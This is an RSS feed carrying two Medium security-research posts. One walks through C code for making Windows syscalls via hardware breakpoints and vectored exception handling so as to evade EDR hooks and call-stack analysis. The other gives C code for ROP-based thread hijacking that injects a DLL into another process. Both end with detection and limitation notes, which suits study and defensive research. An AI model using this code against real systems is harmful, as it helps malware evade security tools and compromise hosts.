<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Umarex on Medium]]></title>
        <description><![CDATA[Stories by Umarex on Medium]]></description>
        <link>https://medium.com/@umarex01?source=rss-54933ac497dc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*k7u2oQRwb0KIQ5I74yRR1w.jpeg</url>
            <title>Stories by Umarex on Medium</title>
            <link>https://medium.com/@umarex01?source=rss-54933ac497dc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 19:39:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@umarex01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hit-And-Run: A Novel Syscall Method]]></title>
            <link>https://infosecwriteups.com/hit-and-run-a-novel-syscall-method-for-bypassing-edrs-via-veh-and-call-stack-theft-e2f399d71eeb?source=rss-54933ac497dc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2f399d71eeb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[syscalls]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[evasion]]></category>
            <dc:creator><![CDATA[Umarex]]></dc:creator>
            <pubDate>Mon, 23 Dec 2024 07:43:16 GMT</pubDate>
            <atom:updated>2026-03-29T16:12:06.778Z</atom:updated>
            <content:encoded><![CDATA[<h4>Bypassing EDRs via VEH and Call Stack Theft</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*AqBOApRimq3nVmYvjdSxWg@2x.jpeg" /></figure><h3>Introducion</h3><p>If you’re reading this, I assume you’re familiar with system calls, EDRs, and so on. If not, <strong>I suggest you take a look at my </strong><a href="https://github.com/UmaRex01/SysCalling"><strong>SysCalling project on GitHub</strong></a>, which covers all the topics you’ll need to know about before getting into this article.</p><p>This article introduces <strong>Hit-And-Run</strong>, a technique designed to execute syscalls while bypassing Endpoint Detection and Response (EDR) systems through what I call “<em>call stack theft</em>” and abuse of the <strong>Vectored Exception Handling</strong> (VEH) structure.</p><p>There’s nothing groundbreaking or unheard of about this technique. On the contrary, it’s just one of many (and there are many) that use VEH to perform syscalls.</p><p>The key difference<strong> </strong>is that in addition to <strong>bypassing the inline hooking</strong>, Hit-and-Run also aims to <strong>evade potential call stack analysis </strong>mechanisms, by creating a coherent and non-suspicious call stack.<strong> </strong>This means that <strong>the chain of function calls leading to the execution of the syscall is consistent with both the specific syscall being executed and with the standard use of Windows APIs. </strong>In other words, from a call stack analysis perspective, there’s no evidence of inline hooking being bypassed.</p><h3>Implementation step-by-step</h3><p>The primary goal of Hit and Run is to <strong>execute</strong> <strong>syscalls with attacker-defined parameters</strong>,<strong> bypassing inline hooking </strong>while <strong>building a legitimate-looking call stack,</strong> that mimics standard Windows behavior.</p><p>The technique relies on:</p><ul><li><strong>Vectored Exception Handling (VEH)</strong>: A Windows mechanism that allows developers to dynamically handle exceptions at runtime.</li><li><strong>Call Stack Theft</strong>: The call stack of a legitimate function is hijacked to ensure that the syscall appears to come from a valid Windows API sequence.</li></ul><p>Let’s see how this is done step by step.</p><p><strong><em>Please Note: As a fan of “don’t reinvent the wheel”, in PoC implementation all functionality related to resolving function addresses in </em></strong>ntdll.dll<strong><em> and SSNs has been borrowed from </em></strong><a href="https://github.com/klezVirus/SysWhispers34"><strong><em>SysWhispers3</em></strong></a></p><h4>1. Invoking the Target Function with intended parameters</h4><p>The process begins by calling a legitimate function in ntdll.dll. This function is the attacker’s ultimate target, but at this stage it only serves as an entry point to set up the execution flow.</p><pre>NTSTATUS CallNtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)<br>{<br> REDIRECT_TO_ADDR = &amp;DummyVirtualAllocEx;<br> STACKS_ARGS_NUMBER = 2;<br> if (!PrepareAndSetBreakpoint(ZwAllocateVirtualMemoryHash))<br>  return NULL;<br> return ((NtAllocateVirtualMemory)EXCP_ADDR)(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);<br>}</pre><h4>2. Setting Breakpoints</h4><p>The function PrepareAndSetBreakpointconfigures 2 hardware breakpoints :</p><ul><li>The <strong>first </strong>(EXCP_ADDR), is set on the first instruction of the target function.</li><li>The <strong>second </strong>(SYSC_ADDR), is set on the syscallinstruction.</li></ul><p>These breakpoints are set by manipulating the debug registers (Dr0, Dr7), using functions such asEnableBreakpoint.</p><pre>static BOOL PrepareAndSetBreakpoint(DWORD functionHash)<br>{<br> CONTEXT threadContext;<br> threadContext.ContextFlags = CONTEXT_ALL;<br> if (!GetThreadContext((HANDLE)-2, &amp;threadContext))<br>  return FALSE;<br> // Resolve addresses for function and syscall<br> EXCP_ADDR = SW3_GetFunctionVAddress(functionHash);<br> if (EXCP_ADDR == NULL)<br>  return FALSE;<br> SYSC_ADDR = SW3_GetSyscallAddress(functionHash);<br> if (SYSC_ADDR == NULL)<br>  return FALSE;<br> SSN = SW3_GetSyscallNumber(functionHash);<br> if (SSN == 0)<br>  return FALSE;<br> // Enable breakpoints at the function and syscall addresses<br> EnableBreakpoint(&amp;threadContext, EXCP_ADDR, 0);<br> EnableBreakpoint(&amp;threadContext, SYSC_ADDR, 1);<br> SetThreadContext((HANDLE)-2, &amp;threadContext);<br> return TRUE;<br>}</pre><pre>//Hardware breakpoint related from https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf<br>unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue)<br>{<br> unsigned long long mask = (1UL &lt;&lt; bits) - 1UL;<br> dw = (dw &amp; ~(mask &lt;&lt; lowBit)) | (newValue &lt;&lt; lowBit);<br> return dw;<br>}<br>void EnableBreakpoint(CONTEXT* ctx, PVOID address, int index) {<br> switch (index) {<br> case 0:<br>  ctx-&gt;Dr0 = (ULONG_PTR)address;<br>  break;<br> case 1:<br>  ctx-&gt;Dr1 = (ULONG_PTR)address;<br>  break;<br> case 2:<br>  ctx-&gt;Dr2 = (ULONG_PTR)address;<br>  break;<br> case 3:<br>  ctx-&gt;Dr3 = (ULONG_PTR)address;<br>  break;<br> }<br> ctx-&gt;Dr7 = setBits(ctx-&gt;Dr7, 16, 16, 0);<br> ctx-&gt;Dr7 = setBits(ctx-&gt;Dr7, (index * 2), 1, 1);<br> ctx-&gt;Dr6 = 0;<br>}</pre><p><strong><em>Why hardware breakpoints?</em></strong><em><br>Hardware breakpoints provide a precise mechanism to interrupt execution at specific addresses. They don’t modify the code itself, reducing the risk of detection compared to software breakpoints.</em></p><h4>3. Handling the First Exception</h4><p>When the execution flow hits the first breakpoint (EXCP_ADDR), the custom vectored exception handler is triggered. Then:</p><ul><li>The handler <strong>saves the current execution context</strong> (CONTEXT structure), including the call stack and register values.</li><li>It then <strong>redirects execution</strong> to the appropriatekernel32.dll function, which act as a dummy function.</li></ul><pre>static LONG WINAPI NtdllExceptionHandler(PEXCEPTION_POINTERS exception)<br>{<br> // FIRST HIT - at EXCP_ADDR (ntdll function first instruction)<br> if (exception-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_SINGLE_STEP &amp;&amp;<br>  exception-&gt;ExceptionRecord-&gt;ExceptionAddress == EXCP_ADDR)<br> {<br>  ClearBreakpoint(exception-&gt;ContextRecord, 0);<br><br>  // Save context for later restoration<br>  SAVED_CONTEXT = (PCONTEXT)HeapAlloc(GetProcessHeap(), 0, sizeof(CONTEXT));<br>  memcpy_s(SAVED_CONTEXT, sizeof(CONTEXT), exception-&gt;ContextRecord, sizeof(CONTEXT));<br><br>  // Redirect execution to the custom function<br>  exception-&gt;ContextRecord-&gt;Rip = (DWORD64)REDIRECT_TO_ADDR;<br>  return EXCEPTION_CONTINUE_EXECUTION;<br> }<br><br>[...]</pre><h4>4. Executing the Corresponding Kernel32 API</h4><p>These functions ensure that a legitimate call stack is built, using safe parameters to avoid alerting EDR.</p><pre>// Dummy function for VirtualAllocEx redirection<br>static void DummyVirtualAllocEx()<br>{<br> VirtualAllocEx(GetCurrentProcess(), NULL, 1, 0, 0);<br>}</pre><h4>5. Handling the Second Exception</h4><p>When the execution flow reaches the syscall instruction (SYSC_ADDR), the second breakpoint is triggered.</p><p>The original execution context is restored, replacing the dummy parameters with the attacker’s intended values.</p><pre>[...]<br><br> // SECOND HIT - at SYSC_ADDR (syscall address)<br> if (exception-&gt;ExceptionRecord-&gt;ExceptionCode == EXCEPTION_SINGLE_STEP &amp;&amp;<br>  exception-&gt;ExceptionRecord-&gt;ExceptionAddress == SYSC_ADDR)<br> {<br>  // Restore original stack arguments<br>  exception-&gt;ContextRecord-&gt;Rcx = SAVED_CONTEXT-&gt;Rcx;<br>  exception-&gt;ContextRecord-&gt;Rdx = SAVED_CONTEXT-&gt;Rdx;<br>  exception-&gt;ContextRecord-&gt;R8 = SAVED_CONTEXT-&gt;R8;<br>  exception-&gt;ContextRecord-&gt;R9 = SAVED_CONTEXT-&gt;R9;<br><br>  //printf(&quot;\n\n --debug begin-- \n\n&quot;);<br>  DWORD k = 0x1;<br>  // Restore stack values for arguments<br>  while (STACKS_ARGS_NUMBER &gt; 0)<br>  {<br>   DWORD offset = 0x8 * (0x4 + k);<br>   //printf(&quot;address on stack: %p - %p\n&quot;, exception-&gt;ContextRecord-&gt;Rsp + offset, SAVED_CONTEXT-&gt;Rsp + offset);<br>   //printf(&quot;values: %p - %p\n&quot;, *(ULONG64*)(exception-&gt;ContextRecord-&gt;Rsp + offset), *(ULONG64*)(SAVED_CONTEXT-&gt;Rsp + offset));<br>   *(ULONG64*)(exception-&gt;ContextRecord-&gt;Rsp + offset) = *(ULONG64*)(SAVED_CONTEXT-&gt;Rsp + offset);<br>   //printf(&quot;new values: %p - %p\n\n&quot;, *(ULONG64*)(exception-&gt;ContextRecord-&gt;Rsp + offset), *(ULONG64*)(SAVED_CONTEXT-&gt;Rsp + offset));<br>   STACKS_ARGS_NUMBER--;<br>   k += 0x1;<br>  }<br>  //printf(&quot;\n\n --debug end-- \n\n&quot;);<br><br>  exception-&gt;ContextRecord-&gt;R10 = exception-&gt;ContextRecord-&gt;Rcx;<br><br>  ClearBreakpoint(exception-&gt;ContextRecord, 1);<br>  HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, SAVED_CONTEXT);<br><br>  return EXCEPTION_CONTINUE_EXECUTION;<br> }<br><br> return EXCEPTION_CONTINUE_SEARCH;<br>}</pre><h4>6. Executing the Syscall</h4><p>Finally, the syscall is executed with the desired parameters. From an EDR perspective, the call stack shows a seamless flow through Windows APIs (kernel32.dll, kernelbase.dll, and ntdll.dll), with no indication of tampering.</p><p>Note that the <strong>EDR DLL is also traversed with no evidence of malicious activity</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*babGg3CKSiGuJmPFkeS12w.png" /></figure><p>To help clarify the execution flow, here’s a diagram showing the process of calling a syscall using hit-and-run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*sraldAXVFjQduQC5TwTYRA.png" /></figure><h3>Critical Considerations</h3><p>While <strong>Hit-And-Run</strong> could be effective, it has its limitations:</p><ul><li><strong>Detectable Setup Phase: </strong>The technique relies on APIs like AddVectoredExceptionHandler to register the custom exception handler. These APIs are often monitored by EDRs, making the setup phase a potential detection point.</li><li><strong>Hardware Breakpoints: </strong>Debug registers (Dr0, Dr7) are modified to set breakpoints. EDRs may monitor these registers for unusual activity.</li><li><strong>Pattern Detection: </strong>The repeated triggering of exceptions and the predictable redirection flow could be profiled by EDRs with behavior-based detection.</li></ul><h3>Conclusions and Credits</h3><p>Finally, a shout-out to all the other research in this area that inspired the creation of Hit-and-Run, linked below:</p><ul><li><a href="https://cyberwarfare.live/bypassing-av-edr-hooks-via-vectored-syscall-poc/">https://cyberwarfare.live/bypassing-av-edr-hooks-via-vectored-syscall-poc/</a></li><li><a href="https://redops.at/en/blog/syscalls-via-vectored-exception-handling">https://redops.at/en/blog/syscalls-via-vectored-exception-handling</a></li><li><a href="https://winslow1984.com/books/malware/page/mutationgate">https://winslow1984.com/books/malware/page/mutationgate</a></li><li><a href="https://github.com/RedTeamOperations/VEH-PoC">https://github.com/RedTeamOperations/VEH-PoC</a></li><li><a href="https://github.com/rad9800/TamperingSyscalls">https://github.com/rad9800/TamperingSyscalls</a></li><li><a href="https://github.com/Dec0ne/HWSyscalls">https://github.com/Dec0ne/HWSyscalls</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2f399d71eeb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hit-and-run-a-novel-syscall-method-for-bypassing-edrs-via-veh-and-call-stack-theft-e2f399d71eeb">Hit-And-Run: A Novel Syscall Method</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[T(ROP)H: Thread Hijacking with ROP]]></title>
            <link>https://infosecwriteups.com/t-rop-h-thread-hijacking-without-executable-memory-allocation-d746c102a9ca?source=rss-54933ac497dc------2</link>
            <guid isPermaLink="false">https://medium.com/p/d746c102a9ca</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[hijacking]]></category>
            <dc:creator><![CDATA[Umarex]]></dc:creator>
            <pubDate>Tue, 17 Sep 2024 17:08:12 GMT</pubDate>
            <atom:updated>2026-03-29T16:12:42.249Z</atom:updated>
            <content:encoded><![CDATA[<h4>How to use ROP to inject a DLL into a remote thread</h4><h3>TL;DR</h3><p>Allocating memory with <strong>EXECUTE </strong>privileges in the context of another process is a well-known IOC, as it suggests that some code may be preparing to execute in a space outside of the attacker’s original process.</p><p>Traditional thread hijacking involves writing shellcode into a memory area with execution privileges and then redirecting the <strong>RIP </strong>to execute it.</p><p>An alternative approach is to load a DLL, which avoids the need for executable memory allocation. However, this introduces a new challenge: passing the argument to LoadLibrary.</p><p>The <strong>SetThreadContext </strong>API does not allow overwriting of volatile registers such as <strong>RCX</strong>, which is required to pass the argument. This limitation can be circumvented by constructing a small ROP chain that allows the necessary register to be manipulated and the injected DLL to be successfully executed.</p><h3>CODE WALKTHROUGH</h3><h4>1. Find Gadget</h4><p>The first thing we need to do is find a suitable ROP gadget. In this case, we need to populate the RCX register because the <a href="https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170">Windows x64 calling convention</a> says that the first function argument is passed via RCX. We need to find a gadget that does a ‘pop rcx’ followed by a ‘ret’. This lets us transfer the full path of the DLL from the stack into the RCX register. Once we’ve done that, we can jump straight to the ‘LoadLibraryA’ function in ‘kernel32.dll’.</p><p>One good approach could be to start with a quick analysis of system libraries using tools like <a href="https://github.com/JonathanSalwan/ROPgadget">ROPGadget</a>. Once you’ve found a suitable gadget, the next step is to locate its address at runtime. You can do this using a function similar to the one shown below, which dynamically retrieves the address of the ‘pop rcx; ret’ gadget from ‘ntdll.dll’.</p><pre>BOOL FindGadgetInFunction(const CHAR* moduleName, BYTE* gadget, SIZE_T gadgetSize, LPVOID* oFoundAddress)<br>{<br> HMODULE hModule = GetModuleHandleA(moduleName);<br> if (hModule == NULL)<br>  return FALSE;<br><br> PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;<br> PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader-&gt;e_lfanew);<br> PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);<br><br> BYTE* addressStart = (BYTE*)hModule;<br> DWORD textSectionSize = pSectionHeader-&gt;Misc.VirtualSize;<br><br> for (DWORD i = 0; i &lt; textSectionSize - 3; i++) {<br>  if (memcmp(addressStart + i, gadget, gadgetSize) == 0) {<br>   *oFoundAddress = (LPVOID)(addressStart + i);<br>   FreeLibrary(hModule);<br>   return TRUE;<br>  }<br> }<br><br> FreeLibrary(hModule);<br> return FALSE;<br>}</pre><h4>2. Write the DLL path into the target process’s memory.</h4><p>Next, you need to write the path of the DLL you want to inject into the target process’s memory. This is normally done using the standard method of allocating memory in the remote process with ‘VirtualAllocEx’, and then writing the full DLL path into this allocated space using ‘WriteProcessMemory’.</p><pre> // Allocate rw memory in the target process for the DLL path<br> pRemoteDllPath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> if (pRemoteDllPath == NULL) {<br>  printf(&quot;[-] Remote memory allocation failed\n&quot;);<br>  PrintLastError();<br>  goto Exit;<br> }<br> printf(&quot;[+] Remote memory allocated successfully: %p\n&quot;, pRemoteDllPath);<br><br> // Write the DLL path into the allocated memory in the target process<br> if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, strlen(dllPath) + 1, NULL)) {<br>  printf(&quot;[-] Failed to write to the target process memory\n&quot;);<br>  PrintLastError();<br>  VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);<br>  goto Exit;<br> }<br> printf(&quot;[+] DLL path successfully written to the target process memory\n&quot;);</pre><h4>3. Modify remote thread context</h4><p>Now things are getting interesting. Once we’ve found the target remote thread, we can update the stack and registers we’ve got control of. This includes the instruction pointer (RIP) and the stack pointer (RSP).</p><p>There are a few key steps to follow to get the ROP chain working and load the DLL into the target process:</p><ul><li><strong>Suspend the Thread: </strong>First, we use the ‘SuspendThread’ API to suspend the target thread. This lets us safely modify its context without interfering with its ongoing execution.</li><li><strong>Modify the RIP and RSP registers</strong>: The RIP is updated to point to the address of our ROP gadget (the ‘pop rcx; ret’ sequence). The RSP is adjusted to allocate 32 bytes (4 DWORD64) on the stack.</li><li><strong>Prepare and write the buffer to the stack</strong>: The buffer contains the necessary values for the ROP chain execution:</li></ul><ol><li>At the top of the stack, we put the memory address that holds the path to the DLL we want to inject. When the gadget runs, the ‘pop rcx’ instruction will move this value from the stack into the RCX register.</li><li>Next, we put the address of the ‘LoadLibraryA’ function. After the ‘pop rcx’, the ‘ret’ instruction will pop this address into the RIP register, which will cause the thread to jump to LoadLibraryA and execute it with the path from RCX.</li><li>In the third position, we place the return address for the ‘LoadLibraryA’ function. For simplicity, this points to the ExitThread function, which ensures that the thread terminates cleanly once the DLL is loaded.</li></ol><ul><li><strong>Resume the Thread</strong>: thread can be now resumed using ‘ResumeThread’.</li></ul><pre>  // Suspend the thread to modify its context<br> SuspendThread(hRemoteThread);<br> GetThreadContext(hRemoteThread, &amp;threadContext);<br><br> // Prepare the buffer with the DLL path and function pointers.<br><br> // RCX will hold the address of the DLL path in the target process.<br> // This value will be passed to LoadLibraryA after the &quot;pop rcx; ret&quot; gadget is executed.<br> *(DWORD64*)(buffer) = (DWORD64)pRemoteDllPath;<br><br> // The next value in the buffer is the return address, which will be the address of LoadLibraryA.<br> // After the &quot;pop rcx; ret&quot; gadget, the execution will jump to LoadLibraryA and use the <br> // value in RCX (the DLL path) as its argument.<br> *(DWORD64*)(buffer + 8) = (DWORD64)LoadLibraryA;<br><br> // After LoadLibraryA finishes executing and the DLL is loaded, the thread should cleanly exit.<br> // We ensure that the next value on the stack after the gadget execution is the address of ExitThread.<br> *(DWORD64*)(buffer + 16) = (DWORD64)ExitThread;<br><br> // Adjust the stack pointer (RSP). The decrement of 32 bytes ensures that the stack<br> // is properly aligned and avoids overwriting any important data.<br> threadContext.Rsp -= 32;<br><br> // Set the instruction pointer (RIP) to the gadget &quot;pop rcx; ret&quot;.<br> threadContext.Rip = (DWORD64)pPopRcxRetGadgetAddr;<br><br> // Write the modified context (buffer) to the target thread&#39;s stack<br> if (!WriteProcessMemory(hProcess, (PVOID)(threadContext.Rsp), buffer, 24, NULL)) {<br>  printf(&quot;[-] Failed to write to the target thread&#39;s stack\n&quot;);<br>  PrintLastError();<br>  VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);<br>  goto Exit;<br> }<br> printf(&quot;[+] Successfully wrote to the target thread&#39;s stack\n&quot;);<br><br> // Overwrite the target thread&#39;s context with the new values<br> if (!SetThreadContext(hRemoteThread, &amp;threadContext)) {<br>  printf(&quot;[-] Failed to set the target thread&#39;s context\n&quot;);<br>  VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);<br>  goto Exit;<br> }<br> printf(&quot;[+] Thread context successfully overwritten\n&quot;);<br><br> // Wait before resuming the thread to ensure the context has been modified<br> Sleep(2000);<br><br> // Resume the hijacked thread<br> ResumeThread(hRemoteThread);<br> printf(&quot;[+] Remote thread successfully hijacked\n&quot;);</pre><h3>EXECUTION</h3><p>The first image shows what the thread looked like before we made any changes to the context. At this point, the thread is paused and its registers and stack are left untouched. The instruction pointer (RIP) is pointing to where the code was originally executed, and the stack pointer (RSP) is managing the current call stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbyKwqoz65Y1_Kkw9ueCfQ.png" /></figure><p>The second image shows what happens to the thread after the context has been modified. At this point, the instruction pointer (RIP) has been updated to point to our ROP gadget (pop rcx; ret), and the stack pointer (RSP) has been adjusted to allocate space for the prepared buffer. The buffer has been written to the stack, along with the DLL path address, the address of the ‘LoadLibraryA’ function, and the return address pointing to ‘ExitThread’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_kdXrdQSCmA7MvtLxsaKBQ.png" /></figure><p>And this is what we got!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*MpUDdJn9a02AlLOWjNzUIQ.png" /></figure><p>We can also check if the DLL injection worked by looking at the results in Process Monitor (ProcMon).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*1Wb9h4R0CD_CnjotwD5O6A.png" /></figure><h3>DETECTABILITY</h3><p>Although this technique avoids allocating executable memory, it can still be easily detected by EDR because it relies on the well-known ‘SetThreadContext’ API.</p><p>As well explained in <a href="https://medium.com/tenable-techblog/api-series-setthreadcontext-d08c9f84458d">David Wells’ post</a>, the API notifies two differents ETW providers during its execution:</p><blockquote>This step notifies that the <em>SetThreadContext </em>call occurred so that consumers of this provider may be notified. We actually see two different ETW writes occur here, each for different providers:</blockquote><blockquote><strong>Microsoft-Windows-Kernel-Audit-API-Calls</strong></blockquote><blockquote><strong>Microsoft-Windows-Threat-Intelligence</strong></blockquote><blockquote>From this, it’s clear that <em>SetThreadContext </em>event logging is not just for diagnostic/audit consumers, but also for security consumers. From the little I found online, it appeared some Microsoft security tools, such as Windows Defender APT, consume such Threat-Intel events for EDR purposes, and it makes sense being that <em>SetThreadContext </em>can have malicious usages that should be monitored for.</blockquote><h3>CONCLUSIONS</h3><p>We’ve seen how to get around the usual memory allocation IOC and API limits by using ROP chains to perform a DLL injection in a Windows x64 environment. By tweaking the thread’s context we were able to run a controlled ROP chain to load a DLL without allocating executable memory</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d746c102a9ca" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/t-rop-h-thread-hijacking-without-executable-memory-allocation-d746c102a9ca">T(ROP)H: Thread Hijacking with ROP</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>